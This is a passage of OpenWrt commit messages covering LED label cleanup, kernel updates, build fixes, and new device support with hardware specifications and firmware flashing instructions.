several cases on the way. A migration script is added for
existing configurations.
Note that a few labels were using "model::function" scheme without
color specified, those were converting to just "function" and the
necessary migrations were added to the migration script.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Similar to how it was already done for other filesystems' *_FS_XATTR
kernel config symbols, also move CONFIG_F2FS_FS_XATTR=y and
CONFIG_F2FS_STAT_FS=y to target/linux/generic.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Since "sda-gpios" and "scl-gpios" are only available since kernel 4.19,
a few devices have redundantly defined "gpios" to also support older
kernels. Since we have nothing older than 4.19 now, we can remove
the redundant definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The ramips target only supports 5.4, so drop all kernel version
switches for older kernels there.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add missing dependency for target build of seclic which requires
libsepol (just like the host build requires libsepol/host).
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This fixes a regression after a kernel change in 5.4.69 [1] that
led to build failure on oxnas/ox820:
drivers/ata/sata_oxnas.c:2238:13: error: initialization of
'enum ata_completion_errors (*)(struct ata_queued_cmd *)'
from incompatible pointer type
'void (*)(struct ata_queued_cmd *)' [-Werror=incompatible-pointer-types]
.qc_prep = sata_oxnas_qc_prep,
^~~~~~~~~~~~~~~~~~
drivers/ata/sata_oxnas.c:2238:13: note:
(near initialization for 'sata_oxnas_ops.qc_prep')
Our local driver is changed the same way as prototyped in the
kernel patch, i.e. return type is changed and AC_ERR_OK return
value is added.
[1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e11c83520cd04b813cd1748ee2a8f2c620e5f7e3
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There is no point in keeping the AR40xx driver as a patch as its
not pending merge or backport.
To allow for easier maintenance until DSA is ready move it into
files like EDMA is.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
[combine with removal from patches-5.4]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The vendor driver does things differently based on what it finds in the
SoC's CHIP_VER register, which should tell whether this is MT7620N or
MT7620A (PKG) and probably also the revision (VER) and most likely
also something about the silicon implementer (ECO).
Introduce codepaths just like the ones in the vendor driver to handle
the different chips properly.
Some of those paths are most likely dead code and left-overs from FPGA
versions or early prototypes of the chip. It'd thus be great if people
can post their kernel logs, at least the line telling the chip version
and eco, so we know what's actually out there in the wild -- all I
could find is
[ 0.000000] SoC Type: Ralink MT7620A ver:2 eco:6
and
[ 0.000000] SoC Type: Ralink MT7620N ver:2 eco:6
which would make things easier, as then we really just need to know
whether it's MT7620N or MT7620A and not care about FPGA or prototypes
with ver <= 1 and eco <= 2.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Extended attributes are required for overlayfs and have hence been long
ago enabled for jffs2, but should be enabled unconditionally for all
other filesystems which may potentially serve as overlayfs' upper
directory. Previously it was inconsistently added in multiple targets.
Add symbols to generic kernel config and remove all *_XATTR symbols
from target configs.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[keep things as they are for squashfs, improve commit message]
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The options were out of order which makes reviewing of changes harder.
Sort it before applying an actual change.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The buildroot and SDK both require the compilers (gcc, g++) to be
installed on the host system, however the ImageBuilder uses precompiled
binaries.
This patch changes the prerequirements checks to skip the checking for
the compilers if running as ImageBuilder. A similar change has been
made for libncurses-dev in 4a1a58a3e2.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
Acked-by: Paul Spooren <mail@aparcar.org>
Like in the previous patches for other targets, this will remove
the "devicename" from LED labels in lantiq.
The devicename is removed in DTS files and 01_leds, consolidation
of definitions into DTSI files is done where (easily) possible,
and migration scripts are updated. The DTS/DTSI consolidation is
only performed for files-5.4.
For lantiq,easy98020 some LED definitions have the form
"devicename:function" without the color, so we need to implement
explicit migration for that one.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Upstream provides DTS(I) files for IPQ4019/AP-DK04.1, but we overwrite
them with local versions so far.
Remove the local files and use patches to be closer to upstream.
We already do the same for IPQ40xx/AP-DK01.1-C1.
Technically, this changes the compatible from "qcom,ipq4019" to
"qcom,ipq4019-dk04.1-c1", but it has never been implemented correctly
beforehand anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds several stylistic and functional improvements of the recently
added Edgecore ECW5211, especially:
* Drop the local BDFs as those are already in the upstream under different names
* Add SPDX tag to DTS
* Add label MAC address
* Move LED trigger to DTS
* Remove unnecessary status="okay"
* Disable unused SS USB phy as the USB port only supports USB 2.0
* Make uboot-env partition writable
* Remove qcom,poll_required_dynamic property as the driver does not use it
* Tidy up the device recipe
Fixes: 4488b260a0 ("ipq40xx: add Edgecore ECW5211 support")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Acked-by: Robert Marko <robert.marko@sartura.hr>
Like in the previous patches for ath79 and ramips, this will remove
the "devicename" from LED labels in ipq806x.
The devicename is removed in DTS files and 01_leds, and a migration
script is added.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like in the previous patches for ath79 and ramips, this will remove
the "devicename" from LED labels in ipq40xx.
The devicename is removed in DTS files and 01_leds, and a migration
script is added. While at it, also harmonize capitalization of
wlan2G/wlan5G vs. wlan2g/wlan5g.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use the full model name for this device to make it easier to
recognize for the users and in order to make it consistent with
the other devices.
While at it, fix sorting in 03_gpio_switches.
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
[commit message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since we have a v2.1 (EU) with different partitioning now, rename
the v2.0 to make the difference visible to the user more directly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for the TP-Link TL-WPA8630P (EU) in its v2.1
version. The only unique aspect for the firmware compared to v2
layout is the partition layout.
Note that while the EU version has different partitioning for
v2.0 and v2.1, the v2.1 (AU) is supported by the v2-int image.
If you plan to use this device, make sure you have a look at
the Wiki page to check whether the device is supported and
which image needs to be taken.
Specifications
--------------
- QCA9563 750MHz, 2.4GHz WiFi
- QCA9888 5GHz WiFi
- 8MiB SPI Flash
- 128MiB RAM
- 3 GBit Ports (QCA8337)
- PLC (QCA7550)
Installation
------------
Installation is possible from the OEM web interface. Make sure to
install the latest OEM firmware first, so that the PLC firmware is
at the latest version. However, please also check the Wiki page
for hints according to altered partitioning between OEM firmware
revisions.
Notes
-----
The OEM firmware has 0x620000 to 0x680000 unassigned, so we leave
this empty as well. It is complicated enough already ...
Signed-off-by: Joe Mullally <jwmullally@gmail.com>
[improve partitions, use v2 DTSI, add entry in 02_network, rewrite
and extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fixes the build error:
/usr/bin/ld: scripts/dtc/dtc-parser.tab.o:(.bss+0x10): multiple definition of `yylloc'; scripts/dtc/dtc-lexer.lex.o:(.bss+0x0): first defined here
collect2: error: ld returned 1 exit status
Successfully tested on boneblack.
Signed-off-by: Andre Heider <a.heider@gmail.com>
The D-Link DIR-645 currently uses an incorrect logic level for its
buttons.
Correct them in order to prevent unintentional activation of failsafe
mode.
Reported-by: Perry Melange <isprotejesvalkata@gmail.com>
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds basic support for Radxa Rock Pi 4
Specification:
- RAM: 1 GB/ 2 GB/4 GB LPDDR4
- SoC: Rockchip RK3399
- CPU: 64bit hexa core processor
Dual Cortex-A72, freqency 1.8Ghz
with quad Cortex-A53, frequency 1.4Ghz
- USB: USB 3.0 OTG x1
hardware switch for host/device switch, upper one
USB 3.0 HOST x1
dedicated USB3.0 channel, lower one
USB 2.0 HOST x2
- Ethernet: 1x GbE
- Storage: eMMC module
uSD card
M.2 SSD
- Wireless: 802.11 ac wifi
Bluetooth 5.0
currently not supported
firmware Installation
======================
gzip -d xxx.img.gz, then dd the .img to SD/eMMC
======================
Device Tested: ROCK PI 4 Model B v1.3
Signed-off-by: Marty Jones <mj8263788@gmail.com>
00a84c5 linux-firmware: Update AMD SEV firmware
71338c2 Merge branch 'for-master' of https://github.com/CosmicPenguin/linux-firmware into main
07367b9 linux-firmware: Update firmware file for Intel Bluetooth AX200
1d1586a linux-firmware: Update firmware file for Intel Bluetooth AX201
28b333d linux-firmware: Update firmware file for Intel Bluetooth 9560
db30380 linux-firmware: Update firmware file for Intel Bluetooth 9260
eb3aa1f Mellanox: Add new mlxsw_spectrum firmware xx.2008.1310
ec88f05 mediatek: update MT7915 firmware to 20200819
a9993f8 brcm: Fix a stale symlink for RPi3 model b+
f48fec4 qcom: Add updated a5xx and a6xx microcode
d5f9eea wl18xx: update firmware file 8.9.0.0.83
7a237c6 linux-firmware: mt7615: update firmware to 20200814 version
74bd44f amdgpu: add navi12 firmware from 20.30
b9f69cd amdgpu: update navi10 firmware for 20.30
Signed-off-by: David Bauer <mail@david-bauer.net>
The NanoPi R2S features a Realtek Gigabit Ethernet PHY. Enable the
Realtek specific PHY driver to correctly configure internal delays.
Signed-off-by: David Bauer <mail@david-bauer.net>
Fix the PHY ID for the NanoPi R2S PHY compatible to match the used PHY.
The ID was wrong as I've accidentally picked the wrong upstream patch.
Signed-off-by: David Bauer <mail@david-bauer.net>
This reverts commit bda6f6572b.
This commit breaks the onboard ethernet on some units. Revert it for
now.
Signed-off-by: David Bauer <mail@david-bauer.net>
Seemingly unneeded based on new upstream code so manually deleted:
layerscape:
820-usb-0007-usb-dwc3-gadget-increase-timeout-value-for-send-ep-c.patch
Manually merged:
generic-hack:
251-sound_kconfig.patch
All other modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800, lantiq/Easybox 904 xDSL
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
[add lantiq test report, minor commit message clarification]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch intruduce SATA support for layerscape devices.
Target specific package with ahci_qoriq driver was added
to local modules.mk.
Kmod package was added to default packages for devices with
SATA interface.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
This patch adds kmod-hwmon-ina2xx kmod-hwmon-lm90 for boards,
which have it installed.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
LS1012A-FRDM have configured wrong fdt_high value.
That causes impossibility of booting.
This patch fix it.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Reviewed-by: Yangbo Lu <yangbo.lu@nxp.com>
[bump PKG_RELEASE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While we mostly use the ucidef_set_led_* functions directly in 01_leds
we still have the set_wifi_led function in parallel for several old
devices. This is not only inconsistent with the other definitions,
it also links to the wlan0 interface instead of using a phy trigger
which would be independent of the interface name (and is used for
all newer devices anyway). Apart from that, the standard names
"wifi" and "wifi-led" are not very helpful in a world with different
radio bands either.
Thus, this patch removes the set_wifi_led function and puts the
relevant commands into the cases explicitly. This makes the
mechanism used more evident and will hopefully lead to some future
improvements or at least prevent some copy-pasting of the old
setups.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ramips, it's not common to use an alias for specifying the WiFi
LED; actually only one device uses this mechanism (TL-WR841N v14).
Particularly since the WiFi LEDs are typically distinguished between
2.4G and 5G etc. it is also not very useful for this target.
Thus, this patch removes the setup lines for this mechanism and
converts the TL-WR841N v14 to the normal setup.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like in the previous patch for ath79 target, this will remove the
"devicename" from LED labels in ramips as well.
The devicename is removed in DTS files and 01_leds, consolidation
of definitions into DTSI files is done where (easily) possible,
and migration scripts are updated.
For the latter, all existing definitions were actually just
devicename migrations anyway. Therefore, those are removed and
a common migration file is created in target base-files. This is
actually another example of how the devicename removal makes things
easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Without the model-based devicename for LEDs, there are still cases
where a third component is required, typically when it refers to
internal "devices" like phys etc. An example are the following two
found on ramips:
- rt2800soc-phy0::radio
- rt2800pci-phy0::radio
So far, the rt2800*-phy: prefixes would be removed by the devicename
removal ("migration") script, and the configuration for these LEDs
would be broken.
To address this, this patch allows to add arguments to a call of
remove_devicename_leds, which will be compared against the first
part of the LED names/labels, and then be ignored by the routine,
and thus not removed:
remove_devicename_leds "rt2800soc-phy0" "rt2800pci-phy0"
This mechanism is supposed to be used when a "devicename" applies
to several devices. If only a single device is affected, it might
be more effective to use a case statement and exclude the device
from migration by that entirely.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The former nft_chain_nat_ipv4 and nft_chain_nat_ipv6 modules have been merged
into a common nft_chain_nat module starting with Linux 5.1.
Ensure that this common module is shipped along with kmod-nft-nat on recent
kernels.
While we're at it, also apply version constraints to other nft modules that
have been merged into the core with newer kernels.
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=2815#comment8016
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Currently, we request LED labels in OpenWrt to follow the scheme
modelname:color:function
However, specifying the modelname at the beginning is actually
entirely useless for the devices we support in OpenWrt. On the
contrary, having this part actually introduces inconvenience in
several aspects:
- We need to ensure/check consistency with the DTS compatible
- We have various exceptions where not the model name is used,
but the vendor name (like tp-link), which is hard to track
and justify even for core-developers
- Having model-based components will not allow to share
identical LED definitions in DTSI files
- The inconsistency in what's used for the model part complicates
several scripts, e.g. board.d/01_leds or LED migrations from
ar71xx where this was even more messy
Apart from our needs, upstream has deprecated the label property
entirely and introduced new properties to specify color and
function properties separately. However, the implementation does
not appear to be ready and probably won't become ready and/or
match our requirements in the foreseeable future.
However, the limitation of generic LEDs to color and function
properties follows the same idea pointed out above. Generic LEDs
will get names like "green:status" or "red:indicator" then, and
if a "devicename" is prepended, it will be the one of an internal
device, like "phy1:amber:status".
With this patch, we move into the same direction, and just drop
the boardname from the LED labels. This allows to consolidate
a few definitions in DTSI files (will be much more on ramips),
and to drop a few migrations compared to ar71xx that just changed
the boardname. But mainly, it will liberate us from a completely
useless subject to take care of for device support review and
maintenance.
To also drop the boardname from existing configurations, a simple
migration routine is added unconditionally.
Although this seems unfamiliar at first look, a quick check in kernel
for the arm/arm64 dts files revealed that while 1033 lines have
labels with three parts *:*:*, still 284 actually use a two-part
labelling *:*, and thus is also acceptable and not even rare there.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Currently, we request LED labels in OpenWrt to follow the scheme
modelname:color:function
However, specifying the modelname at the beginning is actually
entirely useless for the devices we support in OpenWrt. In patches
subsequent to this one, we will thus remove the modelname from
the label definitions on various targets.
To migrate the existing definitions from older installations,
a migration script needs to be deployed that does
modelname:color:function -> color:function
e.g.
dir-789:green:status -> green:status
This patch introduces two functions that do exactly that:
For each entry in /etc/config/system, the routine will check whether
two (or more) colons are present, and then remove everything up to
(and including) the first colon.
For now, this will be applied unconditionally, i.e. if the function
is called for a device, all labels will be cut like this.
However, for a future case of mixed three-part and two-part labels,
it should not be too hard to provide a function argument with
exceptions to the removal.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "/dts-v1/;" identifier is supposed to be present once at the
top of a device tree file after the includes have been processed.
In lantiq, we therefore requested to have in the DTS files so far,
and omit it in the DTSI files. However, essentially the syntax of
the parent SoC-based DTSI files already determines the DTS
version, so putting it into the DTS files is just a useless repetition.
Consequently, this patch puts the dts-v1 statement into the top-level
SoC-based DTSI files, and removes all other occurences.
Since the dts-v1 statement needs to be before any other definitions,
this also moves the includes accordingly where necessary.
Changes are applied to files-5.4 only, files-4.19 remains untouched.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add missing build dependency to both host and target build. The `msgfmt`
is required which is missing without gettext-full.
Signed-off-by: Paul Spooren <mail@aparcar.org>
reg accesses on integrated ar8229 sometimes fails. As a result, phy read
got incorrect port status and wan link goes down and up mysteriously.
After comparing ar8216 with the old driver, these local_irq_save/restore
calls are the only meaningful differences I could find and it does fix
the issue.
The same changes were added in svn r26856 by Gabor Juhos:
ar71xx: ag71xx: make switch register access atomic
As I can't find the underlying problem either, this hack is broght
back to fix the unstable link issue.
This hack is only suitable for ath79 mdio and may easily break the
driver on other platform. Limit it to ath79-only as a target patch.
Fixes: FS#2216
Fixes: FS#3226
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
Directly set path via MAKE vars instead of defning TESTTOOLS. This way
setfiles, which is required by the ImageBuilder, ends up in /host/bin
while checkpolicy can stay in hostpkg/bin.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This adds the compatible property to the NanoPi R2S ethernet PHY node.
Otherwise, the PHY might not be probed, as the PHY ID reads all 0xff
when it is still in reset.
Signed-off-by: David Bauer <mail@david-bauer.net>
Update the patches required for the NanoPi R2S to match the DTS accepted
for upstream Linux. The U-Boot patch meanwhile is still pending
upstream.
Signed-off-by: David Bauer <mail@david-bauer.net>
This is useful to bring up multiple client mode interfaces on a single
channel much faster without having to scan through a lot of channels
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Instead of hardcoding 'targeted' policy, evaluate /etc/selinux/config
in rootfs to choose according to which policy files in the rootfs got
to be labeled.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
By installing policycoreutils to host/bin it is also available within
the ImageBuilder and SDK, allowing to correctly label both filesystems
and packages.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The `libfakeroot` files are currently missing in the ImageBuilder. As
`fakeroot` is always built, copy those files unconditionally.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The firmware for Wave1 chips was updated to the latest release
10.2.4-1.0-00047 at the end of 2019 (commit 513d70cc50b).
Package firmware for these chips from linux-firmware.
This avoids downloading the ath10k-firmware repository.
Signed-off-by: David Bauer <mail@david-bauer.net>
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x, ath79/generic, bcm72xx/bcm2711
Run-tested: ipq806x (R7800)
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Hak5 WiFi Pineapple NANO is an "USB dongle" device dedicated for Wi-Fi
pentesters. This device is based on Atheros AR9331 and AR9271. Support
for it was first introduced in 950b278c81 (ar71xx). FCC ID: 2AB87-NANO.
Specifications:
- Atheros AR9331
- 400/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR1)
- 16 MB of flash (SPI NOR)
- 1T1R 2.4 GHz Wi-Fi (AR9331)
- 1T1R 2.4 GHz Wi-Fi (AR9271L), with ext. PA and LNA (Qorvo RFFM4203)
- 2x RP-SMA antenna connectors
- 1x USB 2.0 to 10/100 Ethernet bridge (ASIX AX88772A)
- integrated 4-port USB 2.0 HUB: Alcor Micro AU6259:
- 1x USB 2.0
- 1x microSD card reader (Genesys Logic GL834L)
- Atheros AR9271L
- 1x LED, 1x button
- UART (4-pin, 2 mm pitch) header on PCB
- USB 2.0 Type-A plug for power and AX88772A
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on OpenWrt/LEDE.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Hak5 Packet Squirrel is a pocket-sized device dedicated for pentesters
(MITM attacks). This device is based on Atheros AR9331 but it lacks
WiFi. Support for it was first introduced in 950b278c81 (ar71xx).
Specifications:
- Atheros AR9331
- 400/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 2x RJ45 10/100 Mbps Ethernet (AR9331)
- 1x USB 2.0
- 1x RGB LED, 1x button, 1x 4-way mechanical switch
- 1x Micro USB Type-B for main power input
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on OpenWrt/LEDE.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Hak5 LAN Turtle is an "USB Ethernet Adapter" shaped device dedicated for
sysadmins and pentesters. This device is based on Atheros AR9331 but it
lacks WiFi. Support for it was first introduced in 950b278c81 (ar71xx).
Two different versions of this device exist and it's up to the user to
install required drivers (generic image supports only common features):
- LAN Turtle 3G with Quectel UG96 3G modem
- LAN Turtle SD with microSD card reader (Alcorlink AU6435R)
Specifications:
- Atheros AR9331
- 400/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 1x RJ45 10/100 Mbps Ethernet (AR9331)
- 1x USB 2.0 to 10/100 Ethernet bridge (Realtek RTL8152B)
- 2x LED (power, system), 1x button (inside, on the PCB)
- USB 2.0 Type-A plug for power and RTL8152B
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on OpenWrt/LEDE.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network N5Q is a successor of previous model, the N5 (outdoor
CPE/AP, based on Atheros AR7240 + AR9280). New version is based on
Atheros AR9344.
Support for this device was first introduced in 4b0eebe9df (ar71xx
target) but users are advised to migrate from ar71xx target without
preserving settings as ath79 support includes some changes in network
and LED default configuration. They were aligned with vendor firmware
and recently added N2Q model (both Ethernet ports as LAN, labelled as
LAN1 and LAN2).
Specifications:
- Atheros AR9344
- 550/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 2x 10/100 Mbps Ethernet, with passive PoE support (24 V)
- 2T2R 5 GHz Wi-Fi, with ext. PA (RFPA5542) and LNA, up to 27 dBm
- 2x IPEX/U.FL or MMCX antenna connectors (for PCBA version)
- 8x LED (7 are driven by GPIO)
- 1x button (reset)
- external h/w watchdog (EM6324QYSP5B, enabled by default)
- header for optional 802.3at/af PoE module
- DC jack for main power input (optional, not installed by default)
- UART (4-pin, 2.54 mm pitch) header on PCB
- LEDs (2x 5-pin, 2.54 mm pitch) header on PCB
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on OpenWrt/LEDE. Alternatively, you can use web recovery mode in U-Boot:
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with one of RJ45 ports, press the reset button, power up
device, wait for first blink of all LEDs (indicates network setup),
then keep button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network N2Q is an outdoor N300 AP/CPE based on Qualcomm/Atheros
QCA9531 v2. This model is a successor of the old N2 which was based
on Atheros AR7240. FCC ID: 2AB8795311.
Specifications:
- Qualcomm/Atheros QCA9531 v2
- 650/400/200 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 2T2R 2.4 GHz Wi-Fi with ext. PA (Skyworks SE2623L) and LNA
- 2x 10/100 Mbps Ethernet with passive PoE input in one port (24 V)
- PoE pass through in second port (controlled by GPIO)
- support for optional 802.3af/at PoE module
- 1x mini PCIe slot (PCIe bus, extra 4.2 V for high power cards)
- 2x IPEX/U.FL connectors on PCB
- 1x USB 2.0 mini Type-B (power controlled by GPIO)
- 8x LED (7 of them are driven by GPIO)
- 1x button (reset)
- external h/w watchdog (EM6324QYSP5B, enabled by default)
- UART (4-pin, 2.54 mm pitch) header on PCB
- LEDs (2x 5-pin, 2.54 mm pitch) header on PCB
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on LEDE/OpenWrt. Alternatively, you can use web recovery mode in U-Boot:
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with one of RJ45 ports, press the reset button, power up
device, wait for first blink of all LEDs (indicates network setup),
then keep button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network R36A is a successor of the previous model, the R36 (Ralink
RT3050F based). New version is based on Qualcomm/Atheros QCA9531 v2, FCC
ID: 2AB879531.
Support for this device was first introduced in af8f0629df (ar71xx
target). When updating from previous release (and/or ar71xx target),
user should only adjust the WAN LED trigger type (netdev in ar71xx,
switch port in ath79).
Specifications:
- Qualcomm/Atheros QCA9531 v2
- 650/400/200 MHz (CPU/DDR/AHB)
- 128 MB (R36AH/-U2) or 64 MB (R36A) of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 2x 10/100 Mbps Ethernet
- Passive PoE input support (12~36 V) in RJ45 near DC jack
- 2T2R 2.4 GHz Wi-Fi with Qorvo RFFM8228P FEM
- 2x IPEX/U.FL connectors on PCB
- 1x USB 2.0 Type-A
- 1x USB 2.0 mini Type-B in R36AH-U2 version
- USB power is controlled by GPIO
- 6/7x LED (5/6 of them are driven by GPIO)
- 2x button (reset, wifi/wps)
- external h/w watchdog (EM6324QYSP5B, enabled by default)
- DC jack with lock, for main power input (12 V)
- UART (4-pin, 2.54 mm pitch) header on PCB
Optional/additional features in R36A series (R36A was the first model):
- for R36AH: USB 2.0 hub*
- for R36AH-U2: USB 2.0 hub*, 1x USB 2.0 mini Type-B, one more LED
*) there are at least three different USB 2.0 hub in R36AH/-U2 variants:
- Terminus-Tech FE 1.1
- Genesys Logic GL852G
- Genesys Logic GL850G (used in latests revision)
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on LEDE/OpenWrt. Alternatively, you can use web recovery mode in U-Boot:
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with one of RJ45 ports, press the reset button, power up
device, wait for first blink of all LEDs (indicates network setup),
then keep button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Samsung WAM250 is a dual-band (selectable, not simultaneous) wireless
hub, dedicated for Samsung Shape Wireless Audio System. The device is
based on Atheros AR9344 (FCC ID: A3LWAM250). Support for this device
was first introduced in e58e49bdbe (ar71xx target).
Specifications:
- Atheros AR9344
- 560/450/225 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 2x 10/100 Mbps Ethernet
- 2T2R 2.4/5 GHz Wi-Fi, with ext. PA (SE2598L, SE5003L) and LNA
- 1x USB 2.0
- 4x LED (all are driven by GPIO)
- 2x button (reset, wps/speaker add)
- DC jack for main power input (14 V)
- UART header on PCB (J4, RX: 3, TX: 5)
Flash instruction:
This device uses dual-image (switched between upgrades) with a common
jffs2 config partition. Fortunately, there is a way to disable this mode
so that more flash space can be used by OpenWrt image.
You can easily access this device over telnet, using root/root
credentials (the same also work for serial console access).
1. Make sure that your device uses second (bootpart=2) image using
command: "fw_printenv bootpart".
2. If your device uses first image (bootpart=1), perform upgrade to the
latest vendor firmware (after the update, device should boot from
second partition) using web gui (default login: admin/1234567890).
3. Rename "sysupgrade" image to "firmware.bin", download it (you can use
wget, tftp or ftpget) to "/tmp" and issue below commands:
mtd_debug erase /dev/mtd3 0 $(wc -c /tmp/firmware.bin | awk -F' ' '{print $1}')
mtd_debug write /dev/mtd3 0 $(wc -c /tmp/firmware.bin)
fw_setenv bootpart
fw_setenv bootcmd "bootm 0x9f070000"
reboot
Revert to vendor firmware instruction:
1. Download vendor firmware to "/tmp" device and issue below commands:
fw_setenv bootpart 1
sysupgrade -n -F SS_BHUB_v2.2.05.bin
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Wallys DR531 is based on Qualcomm Atheros QCA9531 v2. Support for this
device was first introduced in e767980eb8 (ar71xx target).
Specifications:
- Qualcomm/Atheros QCA9531 v2
- 550/400/200 MHz (CPU/DDR/AHB)
- 2x 10/100 Mbps Ethernet
- 64 MB of RAM (DDR2)
- 8 MB of flash (SPI NOR)
- 2T2R 2.4 GHz Wi-Fi, with external PA (SE2576L), up to 30 dBm
- 2x MMCX connectors (optional IPEX/U.FL)
- mini PCIe connector (PCIe/USB buses and mini SIM slot)
- 7x LED, 1x button, 1x optional buzzer
- UART, JTAG and LED headers on PCB
Flash instruction (do it under U-Boot, using UART):
tftpb 0x80060000 openwrt-ath79-...-dr531-squashfs-sysupgrade.bin
erase 0x9f050000 +$filesize
cp.b $fileaddr 0x9f050000 $filesize
setenv bootcmd "bootm 0x9f050000"
saveenv && reset
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
The AP121FE is a slightly modified version of already supported AP121F
model (added to ar71xx in 0c6165d21a and to ath79 in 334bbc5198).
The differences in compare to AP121F:
- no micro SD card reader
- USB data lines are included in Type-A plug
- USB bus switched to device/peripheral mode (permanently, in bootstrap)
Other than that, specifications are the same:
- Atheros AR9331
- 400/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR1)
- 16 MB of flash (SPI NOR)
- 1x 10/100 Mbps Ethernet
- 1T1R 2.4 GHz Wi-Fi, up to 15 dBm
- 1x IPEX/U.FL connector, internal PCB antenna
- 3x LED, 1x button, 1x switch
- 4-pin UART header on PCB (2 mm pitch)
- USB 2.0 Type-A plug (power and data)
Flash instruction (under U-Boot web recovery mode):
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with RJ45 port, press the reset button, power up device,
wait for first blink of all LEDs (indicates network setup), then keep
button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
There are currently several variants of 'wpad' package but the 'iwinfo'
is included by default only if 'wpad', 'wpad-{basic*,mini}' or 'nas'
packages are included in {DEVICE,DEFAULT}_PACKAGES. Use 'wpad-*'
